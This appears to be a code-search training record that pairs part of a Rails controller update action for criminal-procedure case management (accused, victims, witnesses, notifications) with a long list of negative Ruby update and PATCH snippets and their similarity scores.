end
#si ya teniamos imputados
if @procedure.person_in_procedures.where(role: 0)
@procedure.person_in_procedures.where(role: 0).each do |criminal|
#les agregamos el delito preponderante
@preponderan_crime_in_accused = CrimeInAccused.new(preponderant: true,
crime: Crime.find_by_name(procedure_params[:preponderant_crime]),
person: criminal.person,
procedure: @procedure)
@preponderan_crime_in_accused.save
#si hay delitos nuevos
if procedure_params[:crimes]
#le agregamos los delitos nuevos a los imputados existentes
procedure_params[:crimes].each do |crime|
@crime_in_accused = CrimeInAccused.new(preponderant: false,
crime: Crime.find_by_name(crime),
person: criminal.person,
procedure: @procedure)
@crime_in_accused.save
end
end
end
end
if procedure_params[:victims]
procedure_params[:victims].each do |victim|
@victim = Person.new(name: victim[:name],
rut: victim[:rut],
deceased: victim[:deceased],
contact: victim[:contact]
)
if @victim.save!
@victim_in_procedure = PersonInProcedure.new(role: 2,
person: @victim,
procedure: @procedure,
witness_declaration: victim[:story])
@victim_in_procedure.save
end
end
end
if procedure_params[:witness]
procedure_params[:witness].each do |witness|
@witness = Person.new(name: witness[:name],
rut: witness[:rut],
contact: witness[:contact]
)
if @witness.save!
@witness_in_procedure = PersonInProcedure.new(role: 1,
person: @witness,
procedure: @procedure,
witness_declaration: witness[:story])
@witness_in_procedure.save
end
end
end
#mandar las notificaciones correspondientes
if @procedure.state == "Open"
#si el usuario actual es fiscal, mandar una notificacion de creacion al policia, sino mandarle al fiscal
if current_user.prosecutor.present?
@procedure.police_unit_in_charge.users.each { |police_user|
Notification.create(user: police_user, notification_type: 0, reference_id: @procedure.id, seen: false)
}
elsif current_user.police_unit.present?
prosecutors = Prosecutor.not_deleted.where(local_prosecution_id: @procedure.local_prosecution_in_charge.id)
prosecutors.each { |pros|
Notification.create(user: pros.user, notification_type: 0, reference_id: @procedure.id, seen: false)
}
end
end
format.html { redirect_to @procedure, notice: 'Procedimiento ha sido actualizado con éxito.' }
format.json { render :show, status: :ok, location: @procedure }
else
format.json { render json: @procedure.errors, status: :unprocessable_entity }
end
end
elsif params[:petition] == "change_state"
respond_to do |format|
$aux = @procedure.state
if @procedure.update(state: params[:state])
#If procedure was closed, notify the police unit
if @procedure.state == "Close" && $aux == "Open"
police_unit_id = @procedure.police_unit_in_charge.id
police_unit_users = User.not_deleted.where(police_unit_id: police_unit_id)
police_unit_users.each { |user|
Notification.create(user_id: user.id, notification_type: 1, reference_id: @procedure.id, seen: false)
}
#Si el procedimiento pasa a estado borrador (se esta solicitando informacion)
else
#Crear mensaje con el contenido del text area del modal
@message = Message.new(user_id: current_user.id, procedure_id: @procedure.id, content: params[:message])
if @message.content.strip != ""
@message.save
end
if @procedure.creator != current_user
@procedure.police_unit_in_charge.users.each { |user|
Notification.create(user_id: user.id, notification_type: 2, reference_id: @procedure.id, seen: false)
}
end
end
format.html { redirect_to procedures_path, notice: 'Procedimiento ha sido actualizado con éxito.' }
format.json { render :show, status: :ok, location: @procedure }
else
format.json { render json: @procedure.errors, status: :unprocessable_entity }
end
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n respond_to do |format|\n if @procedure.update(procedure_params)\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n end\n end\n end",
"def update\n @procedure = Procedure.find(params[:id])\n @options = Option.new\n @types = Type.new\n respond_to do |format|\n if @procedure.update_attributes(params[:procedure])\n format.html { redirect_to \"/procedures\" }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @procedure.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end",
"def api_patch(path, data = {})\n api_request(:patch, path, :data => data)\n end",
"def patch!\n request! :patch\n end",
"def update\n respond_to do |format|\n if @proceduretype.update(proceduretype_params)\n format.html { redirect_to @proceduretype, notice: 'Proceduretype was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @proceduretype.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @mission_procedure.update(mission_procedure_params)\n format.html { redirect_to @mission_procedure, notice: 'Mission procedure was successfully updated.' }\n format.json { render :show, status: :ok, location: @mission_procedure }\n else\n format.html { render :edit }\n format.json { render json: @mission_procedure.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @procedure_type.update(procedure_type_params)\n format.html { redirect_to @procedure_type, notice: 'Procedure type was successfully updated.' }\n format.json { render :show, status: :ok, location: @procedure_type }\n else\n format.html { render :edit }\n format.json { render json: @procedure_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n original_updated_at = @patient_procedure.updated_at\n PatientProcedure.transaction do\n @patient_procedure.update patient_procedure_params\n @patient_procedure.risk.update patient_procedure_risk_params\n end\n respond_to do |format|\n if original_updated_at != @patient_procedure.updated_at\n format.html { redirect_to @patient_procedure, notice: 'Patient procedure was successfully updated.' }\n format.json { render :show, status: :ok, location: @patient_procedure }\n else\n format.html { render :edit }\n format.json { render json: @patient_procedure.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch(path, data)\n request 'PATCH', path, body: data.to_json\n end",
"def update\n respond_to do |format|\n if @con_proc.update(con_proc_params)\n format.html { redirect_to @con_proc, notice: 'Con proc was successfully updated.' }\n format.json { render :show, status: :ok, location: @con_proc }\n else\n format.html { render :edit }\n format.json { render json: @con_proc.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @operating_procedure.update(operating_procedure_params)\n render :show, status: :ok, location: @operating_procedure\n else\n render json: @operating_procedure.errors, status: :unprocessable_entity\n end\n end",
"def update\n @car = Car.find(params[:car_id])\n @lien_procedure = @car.lien_procedures.find(params[:id])\n\n respond_to do |format|\n if @lien_procedure.update_attributes(params[:lien_procedure])\n format.html { redirect_to @car, notice: 'Lien procedure was updated successfully.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @lien_procedure.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @procedure_type.update(procedure_type_params)\n format.html { redirect_to procedure_type_path(@procedure_type, active_tab: TAB_NAMES[:system_settings]), notice: 'Procedure Type was updated' }\n format.json { render :show, status: :ok, location: @procedure_type }\n else\n format.html { render :edit }\n format.json { render json: @procedure_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(&block)\n validate_request()\n\n # Params includes all of the PATCH data at the top level along with other\n # other Rails-injected params like 'id', 'action', 'controller'. These\n # are harmless given no namespace collision and we're only interested in\n # the 'Operations' key for the actual patch data.\n #\n render(json: yield(self.safe_params()[:id], self.safe_params().to_hash()))\n end",
"def patch(path, params = {})\n request(:patch, path, params)\n end",
"def patch(path, params = {})\n request(:patch, path, params)\n end",
"def patch\n end",
"def update\n respond_to do |format|\n if @visit_procedure.update(visit_procedure_params)\n format.html { redirect_to @visit_procedure, notice: 'Visit procedure was successfully updated.' }\n format.json { render :show, status: :ok, location: @visit_procedure }\n else\n format.html { render :edit }\n format.json { render json: @visit_procedure.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @count = @procedure_type.requirements.count\n respond_to do |format|\n if @procedure_type.update(procedure_type_params)\n format.html { redirect_to procedure_types_path, notice: 'Tipo de tramite actualizado exitosamente' }\n format.json { render :show, status: :ok, location: @procedure_type }\n else\n format.html { render :edit }\n format.json { render json: @procedure_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def rest_edit(path, options={}, &blk)\n callback = Proc.new { |*args|\n @object = yield(*args) or pass\n rest_params.each { |k, v| @object.send :\"#{k}=\", v unless k == 'id' }\n\n return 400, @object.errors.to_json unless @object.valid?\n\n @object.save\n rest_respond @object\n }\n\n # Make it work with `Backbone.emulateHTTP` on.\n put path, &callback\n post path, &callback\n end",
"def rest_edit(path, options={}, &blk)\n callback = Proc.new { |*args|\n @object = yield(*args) or pass\n rest_params.each { |k, v| @object.send :\"#{k}=\", v unless k == 'id' }\n\n return 400, @object.errors.to_json unless @object.valid?\n\n @object.save\n rest_respond @object\n }\n\n # Make it work with `Backbone.emulateHTTP` on.\n put path, &callback\n post path, &callback\n end",
"def patch options\n rest_request({ method: :patch }.merge(options))\n end",
"def patch options\n rest_request({ method: :patch }.merge(options))\n end",
"def update\n respond_to do |format|\n if @proverb.update(proverb_params)\n format.html { redirect_to @proverb, notice: \"Proverb was successfully updated.\" }\n format.json { render :show, status: :ok, location: @proverb }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @proverb.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch(path, data, params = {}, request_options = {})\n request(:patch, path, data, params)\n end",
"def update\n respond_to do |format|\n if @subprocess.update(subprocess_params)\n format.html { redirect_to @subprocess, notice: 'Subprocess was successfully updated.' }\n format.json { render :show, status: :ok, location: @subprocess }\n else\n format.html { render :edit }\n format.json { render json: @subprocess.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch(path, **args); end",
"def partial_update(klass, id, patchset, options = {}, format = nil)\n headers = {}\n headers[:accept] = \"#{format}\" if format\n format ||= @default_format\n options = { resource: klass, id: id, format: format}.merge options\n if [FHIR::Formats::ResourceFormat::RESOURCE_XML, FHIR::Formats::ResourceFormat::RESOURCE_XML_DSTU2].include?(format)\n options[:format] = FHIR::Formats::PatchFormat::PATCH_XML\n headers[:content_type] = \"#{FHIR::Formats::PatchFormat::PATCH_XML}\"\n elsif [FHIR::Formats::ResourceFormat::RESOURCE_JSON, FHIR::Formats::ResourceFormat::RESOURCE_JSON_DSTU2].include?(format)\n options[:format] = FHIR::Formats::PatchFormat::PATCH_JSON\n headers[:content_type] = \"#{FHIR::Formats::PatchFormat::PATCH_JSON}\"\n end\n headers[:prefer] = @return_preference if @use_return_preference\n reply = patch resource_url(options), patchset, fhir_headers(headers)\n reply.resource = parse_reply(klass, format, reply)\n reply.resource_class = klass\n reply\n end",
"def update # PATCH\n raise NotImplementedError\n end",
"def patch(operation, path, value = nil)\n ensure_client && ensure_uri\n body = {\n 'op' => operation,\n 'path' => path,\n 'value' => value\n }\n response = @client.rest_patch(@data['uri'], { 'Content-Type' => 'application/json-patch+json', 'body' => [body] }, @api_version)\n @client.response_handler(response)\n end",
"def update\n @request.assign_json_attributes(params) if @request.resume?\n respond_to do |format|\n if @request.update(request_params)\n format.html { redirect_to @request, notice: 'Request was successfully updated.' }\n format.json { render :show, status: :ok, location: @request }\n else\n format.html { render :edit }\n format.json { render json: @request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @procedure_subcategory.update(procedure_subcategory_params)\n format.html { redirect_to @procedure_subcategory, notice: 'Procedure subcategory was successfully updated.' }\n format.json { render :show, status: :ok, location: @procedure_subcategory }\n else\n format.html { render :edit }\n format.json { render json: @procedure_subcategory.errors, status: :unprocessable_entity }\n end\n end\n end",
"def rest_patch(base_uri,json_payload,params)\n begin\n @response = RestClient.patch(base_uri,json_payload,params)\n rescue => e\n puts @response.code\n end\n return @response\n end",
"def update\n respond_to do |format|\n if @operation.update(operation_params)\n format.html { redirect_to @operation, notice: 'Operation was successfully updated.' }\n format.json { render :json => @operation.to_json(:include => :task) }\n else\n format.html { render json: @operation.errors, status: :unprocessable_entity }\n format.json { render json: @operation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @api_v1_resource.update(api_v1_resource_params)\n format.html { redirect_to @api_v1_resource, notice: 'Resource was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_resource }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_resource.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(path)\n output { patch(path, params) }\n end",
"def procedure_params\n params.require(:procedure).permit(:description, :name, :procedure_ID)\n end",
"def patch(operation, path, value)\n response = @client.rest_patch(@data['uri'], 'body' => [{ op: operation, path: path, value: value }])\n @client.response_handler(response)\n end",
"def set_procedure\n @procedure = Procedure.find(params[:id])\n end",
"def patch(path, body_params = {})\n debug_log \"PATCH #{@host}#{path} body:#{body_params}\"\n headers = { 'Content-Type' => 'application/json' }\n res = connection.run_request :put, path, body_params.to_json, headers\n debug_log \"Response status:#{res.status}, body:#{res.body}\"\n res\n end",
"def put!\n request! :put\n end",
"def update\n respond_to do |format|\n if @operation.update(operation_params)\n format.html { redirect_to @operation, notice: 'Operation was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @operation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @voprosy = Voprosy.find(params[:id])\n\n respond_to do |format|\n if @voprosy.update_attributes(params[:voprosy])\n format.html { redirect_to @voprosy, notice: 'Voprosy was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @voprosy.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @processdef = Processdef.find(params[:id])\n\n respond_to do |format|\n if @processdef.update_attributes(params[:processdef])\n format.html { redirect_to @processdef, notice: 'Process was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @processdef.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @prim.update(prim_params)\n format.html { redirect_to @prim, notice: 'Prim was successfully updated.' }\n format.json { render :show, status: :ok, location: @prim }\n else\n format.html { render :edit }\n format.json { render json: @prim.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @patch.update(patch_params)\n format.html { redirect_to @patch, notice: 'Patch was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @patch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch(path, params)\n time(\"PATCH #{path}\") { Cloudflarer.new.patch(path, params) }\n end",
"def update\n respond_to do |format|\n if @price_schema.update(price_schema_params)\n format.html { redirect_to @price_schema, notice: 'Price schema was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @price_schema.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch(request)\n request.method = :patch\n request.call\n end",
"def patch_resource(payload)\n execute(resource_path, method: :patch, payload: payload.to_json)\n end",
"def update\n respond_to do |format|\n if @operation.update(operation_params)\n format.html { redirect_to admin_operations_path, notice: 'Operation was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @operation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @profissional.update(profissional_params)\n format.html { redirect_to @profissional, notice: 'Profissional was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @profissional.errors, status: :unprocessable_entity }\n end\n end\n end",
"def pupdate\n @event = Event.find(params[:id])\n respond_to do |format|\n if @event.update_attributes(JSON.parse(params[:event]))\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content}\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @proposal.update(proposal_params)\n format.html { redirect_to :back, notice: 'La proposition a été modifiée.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @proposal.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def set_procedure\n @procedure = Procedure.find(params[:id])\n end",
"def set_procedure\n @procedure = Procedure.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @pplan.update(pplan_params)\n\n\n @sale = Sale.find_by(:id => @pplan.sale_id)\n @sale.update(:approve => nil)\n @pplan.update(:saledate => @sale.saledate, :selling_price => @sale.selling_price, :contact_id => @sale.contact_id, :batch_id => @sale.batch_id )\n\n\n format.html { redirect_to :back , notice: 'Pplan was successfully updated.' }\n format.json { head :no_content }\n\n\n else\n format.html { render action: 'edit' }\n format.json { render json: @pplan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n #@service_request = ServiceRequest.find(params[:id])\n\n respond_to do |format|\n if @service_request.update_attributes(service_request_params)\n format.html { redirect_to @service_request, notice: 'Service request was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @service_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @propperty.update(propperty_params)\n format.html { redirect_to @propperty, notice: 'Propperty was successfully updated.' }\n format.json { render :show, status: :ok, location: @propperty }\n else\n format.html { render :edit }\n format.json { render json: @propperty.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @pluto_process_definition = collection.find(params[:id])\n\n respond_to do |format|\n if @pluto_process_definition.update_attributes(params[:pluto_process_definition])\n format.html do\n flash[:success] = 'Process definition was successfully updated.'\n redirect_to @core_application\n end\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @pluto_process_definition.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @proposal = Proposal.find(params[:id])\n\n respond_to do |format|\n if @proposal.update_attributes(update_params)\n format.html { redirect_to @proposal, notice: 'Proposal was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @proposal.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @patch = Patch.find(params[:id])\n\n respond_to do |format|\n if @patch.update_attributes(params[:patch])\n format.html { redirect_to @patch, notice: 'Patch was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @patch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @approval_process = ApprovalProcess.find(params[:id])\n\n respond_to do |format|\n if @approval_process.update_attributes(params[:approval_process])\n format.html { redirect_to @approval_process, :notice => 'Approval process was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @approval_process.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @list = HqProc.all(:order => :name)\n @object = HqProc.find(params[:id])\n \n \n params[:hq_proc][:new_hq_rsrc_usage_attributes] ||= {}\n params[:hq_proc][:existing_hq_rsrc_usage_attributes] ||= {}\n params[:hq_proc][:assigned_hq_rsrc] ||= {}\n \n @hq_proc = HqProc.find(params[:id])\n respond_to do |format|\n if @hq_proc.update_attributes(params[:hq_proc])\n @objects = HqProc.all(:order => 'name ASC')\n flash[:notice] = 'Process was successfully updated.'\n format.js if request.xhr?\n format.html { redirect_to :action => \"edit\", :template => 'reflected/edit' }\n format.xml { head :ok }\n else\n messages = '<ul>Error:'\n @hq_proc.errors.full_messages.each {|msg| messages += '<li>'+msg+'</li>'}\n messages += '</ul>'\n flash[:notice] = messages\n format.html { redirect_to :action => \"edit\", :template => 'reflected/edit' }\n format.xml { render :xml => @hq_proc.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def crud_put(resource_name, service_name, primary_key_name, api_options = {})\n api_options = get_defaults(api_options)\n put '/'+resource_name+'/:'+primary_key_name do\n service = settings.send(service_name)\n\n # Must Exist\n return 404 unless service.exists_by_primary_key?(params[primary_key_name.to_sym])\n\n # Get The Data\n begin\n data = JSON.parse(request.body.read)\n rescue Exception => e\n return 422\n end\n\n # Valid Update?\n return 422 unless service.valid_update?(data)\n\n # Do Update\n record = service.update_by_primary_key(params[primary_key_name.to_sym],data)\n\n # Other Error\n return 500 if record.nil?\n\n # Return new Region\n JSON.fast_generate record\n end\n end",
"def update\n respond_to do |format|\n @person = @profissional.person\n if @person.update(profissional_params[:person_attributes])\n if profissional_params[:specialization].present?\n @profissional.update_attributes(:specialization => profissional_params[:specialization])\n format.html { redirect_to @profissional, notice: 'Profissional was successfully updated.' }\n format.json { render :show, status: :ok, location: @profissional }\n else\n format.html { render :edit }\n format.json { render json: @profissional.errors, status: :unprocessable_entity }\n end\n\n end\n end\n end",
"def rm_update path, data, msg\n\n re = rm_request path, data, 'PUT'\n puts re.body\n chk (re.code!='200'), msg + \"\\n#{re.code} #{re.msg}\\n\\n\"\n return true\n\nend",
"def update\n @prototype = Prototype.find(params[:id])\n\n respond_to do |format|\n if @prototype.update_attributes(params[:prototype])\n format.html { redirect_to @prototype, notice: 'Prototype was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @prototype.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @routine = Routine.find(params[:id])\n\n respond_to do |format|\n if @routine.update_attributes(params[:routine])\n format.html { redirect_to @routine, notice: 'Routine was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @routine.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @operation = Operation.find(params[:id])\n\n respond_to do |format|\n if @operation.update_attributes(operation_params)\n format.html { redirect_to @operation, notice: 'Operation was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @operation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch(type, info)\n path, info = type_info(type, :path), force_case(info)\n ida = type == :client ? 'client_id' : 'id'\n raise ArgumentError, \"info must include #{ida}\" unless id = info[ida]\n hdrs = headers\n if info && info['meta'] && (etag = info['meta']['version'])\n hdrs.merge!('if-match' => etag)\n end\n reply = json_parse_reply(@key_style,\n *json_patch(@target, \"#{path}/#{Addressable::URI.encode(id)}\", info, hdrs))\n\n # hide client endpoints that are not quite scim compatible\n type == :client && !reply ? get(type, info['client_id']): reply\n end",
"def patch(operation, path, value)\n response = @client.rest_patch(@data['uri'], 'body' => [{ op: operation, path: path, value: value }])\n @client.response_handler(response)\n end",
"def update\n respond_to do |format|\n if @program.update(program_params)\n @program.update_attribute('approved', false)\n UserMailer.notify_approver(@program).deliver\n format.html { redirect_to brand_programs_path(@program.brand), notice: 'Program was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @program.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @prog.update(prog_params)\n format.html { redirect_to @prog, notice: 'Prog was successfully updated.' }\n format.json { render :show, status: :ok, location: @prog }\n else\n format.html { render :edit }\n format.json { render json: @prog.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @operation.update(operation_params)\n format.html { redirect_to @operation, notice: 'Operation was successfully updated.' }\n format.json { render :show, status: :ok, location: @operation }\n else\n format.html { render :edit }\n format.json { render json: @operation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @sprint.update!(sprint_params)\n json_response(@sprint)\n end",
"def update\n respond_to do |format|\n if @workflow.update(workflow_params)\n format.json { render json: @workflow, :layout => false }\n else\n #format.json { render json: @workflow.errors, status: :unprocessable_entity, :layout => false }\n end\n end\n end",
"def update\n # actions\n path = URI(@endpoint).path\n action = URI(@req.request_uri).path.sub(path, '').split('/')\n action -= ['']\n if action.include?('_history')\n @actions = [action[0], '_history']\n else\n @actions = [action[0]]\n end\n\n # search param\n req_query = URI(@req.request_uri).query\n unless req_query.nil?\n @req_params = URI::decode_www_form(req_query).to_h\n end\n\n # requst method\n if @req.request_method == \"GET\" and @actions.include? '_history'\n @req_method = 'vread'\n elsif @req.request_method == \"GET\" and @req_params != nil\n @req_method = 'search-type'\n elsif @req.request_method == \"PUT\"\n @req_method = 'update'\n elsif @req.request_method == \"POST\"\n @req_method = 'create'\n else\n @req_method = 'read'\n end\n\n # interaction\n int1 = Interaction.last type: @actions[0], code: @req_method\n if int1.nil?\n @present = 0\n else\n @present = int1.id\n @intCode = int1.valueCode\n end\n end",
"def update\n @protein_complex = ProteinComplex.find(params[:id])\n\n respond_to do |format|\n if @protein_complex.update_attributes(params[:protein_complex])\n format.html { redirect_to @protein_complex, notice: 'Protein complex was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @protein_complex.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @callout.update(callout_params)\n format.html { redirect_to @callout, notice: 'Callout was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @callout.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @provin.update(provin_params)\n format.html { redirect_to @provin, notice: 'Provin was successfully updated.' }\n format.json { render :show, status: :ok, location: @provin }\n else\n format.html { render :edit }\n format.json { render json: @provin.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @opt10080.update(opt10080_params)\n format.html { redirect_to @opt10080, notice: 'Opt10080 was successfully updated.' }\n format.json { render :show, status: :ok, location: @opt10080 }\n else\n format.html { render :edit }\n format.json { render json: @opt10080.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @instrument_patch.update(instrument_patch_params)\n format.html { redirect_to @instrument_patch, notice: 'Instrument patch was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @instrument_patch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @proposal = Proposal.find(params[:id])\n\n respond_to do |format|\n if @proposal.update_attributes(params[:proposal])\n format.html { redirect_to @proposal, notice: 'Proposal was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @proposal.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @v1_provider_operation.update(v1_provider_operation_params)\n format.html { redirect_to @v1_provider_operation, notice: 'Provider operation was successfully updated.' }\n format.json { render :show, status: :ok, location: @v1_provider_operation }\n else\n format.html { render :edit }\n format.json { render json: @v1_provider_operation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @genericcallout.update(genericcallout_params)\n format.html { redirect_to @genericcallout, notice: 'Generic Call-Out was successfully updated.' }\n format.json { render :show, status: :ok, location: @genericcallout }\n else\n format.html { render :edit }\n format.json { render json: @genericcallout.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @paragraf.update(paragraf_params)\n format.html { redirect_to @paragraf, notice: 'Paragraf was successfully updated.' }\n format.json { render :show, status: :ok, location: @paragraf }\n else\n format.html { render :edit }\n format.json { render json: @paragraf.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @verb.update(verb_params)\n format.html { redirect_to @verb, notice: 'Verb was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @verb.errors, status: :unprocessable_entity }\n end\n end\n end",
"def http_put(path, data, content_type = 'application/json')\n http_methods(path, :put, data, content_type)\n end",
"def update\n new_version = ProcedureDefinition.new\n new_version.name = self.name\n new_version.version = self.version.succ\n new_version.procedure = self.procedure\n new_version.save!\n self.new_version = new_version\n self.procedure = self.procedure_was\n super\n end",
"def update\n respond_to do |format|\n if @program.update(program_params)\n format.html { redirect_to @program, notice: 'Program was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @program.errors, status: :unprocessable_entity }\n end\n end\n end",
"def json_rpc_procedure(opts={})\n @service.add_procedure opts\n end",
"def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end",
"def patch(payload)\n post_like payload, Net::HTTP::Patch.new(@uri.path)\n end",
"def patch\n req.patch?\n end",
"def patch request_pb, options:, &block\n request_json = JSON.parse ::Google::Cloud::Compute::V1::PatchSecurityPolicyRequest.encode_json(request_pb)\n\n uri = \"/compute/v1/projects/#{request_pb.project}/global/securityPolicies/#{request_pb.security_policy}\"\n body = request_pb.security_policy_resource.to_json\n\n result_json = @client_stub.make_patch_request(\n uri: uri,\n body: body,\n options: options,\n &block\n )\n\n ::Google::Cloud::Compute::V1::Operation.decode_json result_json[:body], { ignore_unknown_fields: true }\n end",
"def update\n @promocion = Promocion.find(params[:id])\n logger.debug \"-------------------------------------------------------\"\n logger.debug params[:promocion][:formadepago_ids]\n logger.debug \"-------------------------------------------------------\"\n if (params[:promocion][:comercializable_ids] == nil)\n params[:promocion][:comercializable_ids] = []\n end\n\n if (params[:promocion][:formadepago_ids] == nil)\n params[:promocion][:formadepago_ids] = []\n end\n\n respond_to do |format|\n if @promocion.update_attributes(params[:promocion])\n format.html { redirect_to @promocion, :notice => 'Promocion was successfully updated.' }\n format.json { render json: @promocion}\n else\n format.html { render :action => \"edit\" }\n format.json { render json: @promocion.errors }\n end\n end\n end",
"def update\n respond_to do |format|\n if @proposal.update_attributes(params[:proposal])\n format.html { redirect_to @proposal, notice: 'Proposal was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @proposal.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.71203756",
"0.6445126",
"0.6178145",
"0.61032337",
"0.60540265",
"0.60316867",
"0.5933768",
"0.59329295",
"0.5920824",
"0.58815384",
"0.58682835",
"0.58248216",
"0.58048916",
"0.5791856",
"0.57559204",
"0.57352924",
"0.57352924",
"0.57272714",
"0.5699198",
"0.56599414",
"0.5650462",
"0.5650462",
"0.5649711",
"0.5649711",
"0.56395715",
"0.56278497",
"0.55815274",
"0.55804193",
"0.5567949",
"0.55594385",
"0.55242366",
"0.55165344",
"0.55032796",
"0.54830194",
"0.54821515",
"0.5477158",
"0.5471935",
"0.5434075",
"0.54269767",
"0.54219896",
"0.5421233",
"0.54148287",
"0.5414138",
"0.54026276",
"0.5402366",
"0.5397695",
"0.5381204",
"0.5371648",
"0.5347719",
"0.5345301",
"0.5344477",
"0.53440243",
"0.53383774",
"0.5333884",
"0.5320175",
"0.531523",
"0.5313543",
"0.5313543",
